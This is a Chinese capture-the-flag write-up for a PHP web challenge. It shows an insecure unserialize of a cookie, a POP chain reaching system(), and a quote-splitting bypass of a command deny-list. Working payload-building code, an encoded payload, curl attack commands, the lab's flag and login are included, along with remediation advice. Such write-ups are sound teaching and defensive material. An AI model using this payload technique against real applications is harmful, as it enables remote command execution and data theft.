| 项目 | 内容 |
|---|---|
| 分类 / 难度 | Web / Hard |
| 切入点 | prefs Cookie → PHP 反序列化 |
| 最终手法 | POP 链走到 system(),再用引号拼接绕过黑名单 |
| 账号 | auditor / audit123 |
| Flag | flag{local_verify_w05}(本地验证值) |
1. 上手先看有什么
AuditDesk 是一套合规审计台,登录后是三块:审计视图、模板管理、导出中心。功能都比较素,能点的地方不多。真正值得盯的是右上角那个"外观"开关——切换主题和语言时,浏览器里会多出一个 prefs Cookie。
解一下这个 Cookie:
echo 'YToxOntzOjU6InRoZW1lIjtzOjQ6ImRhcmsiO30=' | base64 -d
# a:1:{s:5:"theme";s:4:"dark";}
PHP 序列化格式。也就是说服务端拿这个 Cookie 去 unserialize 了。这类入口不用多想,先记下来。
顺手把页面上出现的接口列全:
GET /profile 读取 prefs,返回 "Profile loaded"
GET /api/status 服务状态(版本、组件)
GET /debug/result 读取 storage/result.txt
GET /source?file=<name> 源码查阅
POST /api/login 登录
/source 和 /debug/result 这两个端点在没有登录态的情况下也能访问到(后面会用到)。
2. /source 能读到哪些文件
/source 用白名单严格比对文件名,试 ../flag、/etc/passwd、index.html 全是 404。把常见名字挨个过一遍,能命中五个:
router.php
Preference.php
AuditContext.php
ExportFormatter.php
CommandSink.php
这五个文件基本把整个应用的路由、偏好处理和一个"导出"子系统摊开了。先看入口 router.php 里 /profile 的实现:
if ($path === '/profile') {
$cookie = $_COOKIE['prefs'] ?? '';
if ($cookie !== '') {
$raw = base64_decode($cookie, true);
if ($raw !== false) {
@unserialize($raw, ['allowed_classes' => true]);
}
}
header('Content-Type:text/plain');
echo "Profile loaded\n"; exit;
}
allowed_classes => true——没有任何类限制。反序列化出来的对象在脚本结束时销毁,于是所有 __destruct 都会被调用。
3. 顺着 __destruct 往下找
AuditContext.php 里有一个:
class AuditContext {
public object $formatter;
public mixed $entry;
public function __destruct() {
if (isset($this->formatter)) {
$this->formatter->flush($this->entry);
}
}
}
$formatter 和 $entry 都是 public,序列化数据里能随便指定。flush() 在 ExportFormatter.php:
class ExportFormatter {
public object $sink;
public function flush($entry): void {
if (!is_object($entry) || !isset($entry->value)) {
return;
}
$this->sink->store((string)$entry->value);
}
}
两条约束:$entry 必须是对象,并且带一个 value 属性。传个字符串或者数组会在这里被 return 掉,链就断了。
再往下,store() 在 CommandSink.php:
class CommandSink {
public string $transport = 'file';
private const DENY_PATTERN = '/\b(cat|tac|rev|flag|bash|dash|zsh|sh|nc|ncat|netcat|socat|curl|wget|python|python3|perl|ruby|base64|xxd|od|sort|head|tail|less|more|grep|awk|sed|tr|dd|cp|mv|ln|env|printenv|whoami|uname|find|xargs|printf|echo|export|source)\b|[|&;`$\\\\]/i';
public function store(string $value): void {
if ($this->transport === 'local') {
if (preg_match(self::DENY_PATTERN, $value)) { /* 记录并返回 */ return; }
system($value);
return;
}
file_put_contents(__DIR__ . '/storage/audit.log', $value . "\n", FILE_APPEND);
}
}
这里就是全链的落点。默认 transport='file' 只是追加日志,但它是 public 属性,序列化数据里改成 'local' 就能进 system($value) 分支。唯一挡在中间的是那条 DENY_PATTERN。
链到此为止就完整了:
AuditContext::__destruct()
└─> ExportFormatter::flush($entry) // 要求 $entry 是对象且有 value
└─> CommandSink::store((string)$entry->value) // transport = local
└─> system($value) // 需过 DENY_PATTERN
还差一个类:$entry 得是对象。AuditEntry 这个名字不在 /source 白名单里,但相邻几个文件的结构很一致(都是简单值对象、属性全 public),new 一个只有 value 属性的类名试一下就能确认。序列化只需要类名和属性名对得上,没有 __wakeup 干扰。
4. 先解决黑名单
DENY_PATTERN 里禁了一大串:读文件的 cat、tac、rev,命令执行类的 sh、bash、python、perl,还有 cp、mv、ln、grep、awk、sed 等等。最要命的是 flag 本身也在名单里,连路径都写不出来。
但它用了 \b 词边界。\b 匹配的是 \w 与非 \w 的交界,而单引号不是 \w,所以:
c'a't /fl''ag > /app/storage/result.txt
正则看到的字面串是 c'a't,\bcat\b 匹配不上(c 后面紧跟的是 ')。而 shell 在解析时会把引号剥掉,最后交给 cat 的参数就是 /flag。同理 fl''ag 拆开了 flag 这个词。
再看分隔符那一半:[|&;$\\] 拦了管道、后台、分号、反引号、$、反斜杠,**但没有拦 >、<、(、)`**。所以重定向是通的:
c'a't /fl''ag > /app/storage/result.txt
5. 拼 payload
对象图:
AuditContext { formatter: ExportFormatter, entry: AuditEntry }
ExportFormatter { sink: CommandSink }
CommandSink { transport: "local" }
AuditEntry { value: "<命令>" }
用 Python 手工拼比调 serialize() 稳,属性顺序、字节长度都能自己控:
import base64
RESULT = "/app/storage/result.txt"
q = "'"
cmd = "c" + q + "a" + q + "t /fl" + q + q + "ag > " + RESULT
sink = 'O:11:"CommandSink":1:{s:9:"transport";s:5:"local";}'
fmt = 'O:15:"ExportFormatter":1:{s:4:"sink";' + sink + '}'
entry = 'O:10:"AuditEntry":1:{s:5:"value";s:%d:"%s";}' % (len(cmd.encode()), cmd)
ctx = 'O:12:"AuditContext":2:{s:9:"formatter";' + fmt + 's:5:"entry";' + entry + '}'
print(base64.b64encode(ctx.encode()).decode())
s:<len>: 那个长度是字节数,命令里全 ASCII 所以字符数等于字节数;一旦掺进中文就会算错,这是这种手拼法最容易翻车的地方。
6. 打出去
C='TzoxMjoiQXVkaXRDb250ZXh0IjoyOntzOjk6ImZvcm1hdHRlciI7TzoxNToiRXhwb3J0Rm9ybWF0dGVyIjoxOntzOjQ6InNpbmsiO086MTE6IkNvbW1hbmRTaW5rIjoxOntzOjk6InRyYW5zcG9ydCI7czo1OiJsb2NhbCI7fX1zOjU6ImVudHJ5IjtPOjEwOiJBdWRpdEVudHJ5IjoxOntzOjU6InZhbHVlIjtzOjM5OiJjJ2EndCAvZmwnJ2FnID4gL2FwcC9zdG9yYWdlL3Jlc3VsdC50eHQiO319'
curl -H "Cookie: prefs=$C" http://target/profile
Profile loaded
响应永远是这句,没有任何回显。原因在触发时机:__destruct 在脚本结束时执行,此时响应体早就发出去了。所以命令输出没法直接带回 HTTP 响应里,得落地再看。
重定向写到了 /app/storage/result.txt,/debug/result 正好读这个文件:
curl http://target/debug/result
flag{local_verify_w05}
拿到。
7. 实测输出
$ curl -H "Cookie: prefs=$C" http://target/profile
Profile loaded
$ curl http://target/debug/result
flag{local_verify_w05}
(本地验证时容器里没有注入 /flag,用只读 bind mount 把一个已知内容的文件挂到 /flag 上做等价验证。)
8. 踩过的坑
| 现象 | 当时怎么试的 | 原因 |
|---|---|---|
result.txt 生成了但是空的 |
以为 payload 拼错了,反复改序列化串 | 容器里根本没有 /flag,cat 报错但 > 已经创建了空文件。先确认目标文件存在,否则会把环境问题当成 payload 问题 |
/profile 返回 200 但什么都没发生 |
换了好几种 Cookie 编码方式 | __destruct 是请求结束才跑的,必须分两次请求:一次投递、一次取结果 |
链在 flush() 就断了 |
entry 传了 ['value'=>'...'] 数组 |
前置判断是 is_object($entry),数组不算对象 |
| 命令根本没执行,日志里也没有记录 | 想用 cat 直接读 |
cat 和 flag 都在黑名单里,被 preg_match 挡了 |
想用 $(...) 把输出塞回响应 |
试了反引号和 $() |
$ 和反引号都在 `[ |
9. 这题的几个关键判断
- 看到 base64 Cookie 就顺手
base64 -d一下。这一步成本极低,但本题全链都是从"这是个 PHP 序列化串"开始的。 /source白名单要穷举。白名单挡住了路径穿越,但五个可读文件里有一个CommandSink.php,里面的system()直接决定了整条链的走向。少读一个文件就拼不出链。\b做黑名单是纸糊的。词边界只认\w,shell 的引号拼接、'、"$'...'全在边界之外;而漏掉>意味着"就算读不到,也能写"。黑名单要考虑的不是"禁哪些词",而是"这些字符组合起来还成不成立"。- public 属性 + 反序列化 = 任意赋值。
transport这种带默认值的配置字段,一旦所在类能被反序列化,默认值就等于没有。
10. 修复建议
- 偏好别用
unserialize。同一个数据结构json_decode就够了,本题的theme/language完全不需要对象语义。 - 如果历史包袱必须保留序列化,用
allowed_classes显式白名单,且只放行Preference(AuditContext/ExportFormatter/CommandSink三类只要缺一,链就断)。 - Cookie 加 HMAC 签名,先验签再反序列化,改不动
transport。 - 删掉
CommandSink里的system()分支;真要执行外部命令,用proc_open传参数数组,不经 shell。 - 黑名单换成白名单(只允许
[A-Za-z0-9 _./-]),并显式拒绝>、<、(、)、\n。 /source与/debug/result都应该要鉴权,后者更是绝对不能对外。
11. 小结
三段式:入口(prefs Cookie 直接 unserialize,allowed_classes=true)→ 魔术方法链(__destruct → flush → store,每层都有类型约束要满足)→ 危险叶子(transport='local' 触发 system)。最后横在中间的黑名单,被两个单引号拆开了。
Flag:flag{local_verify_w05}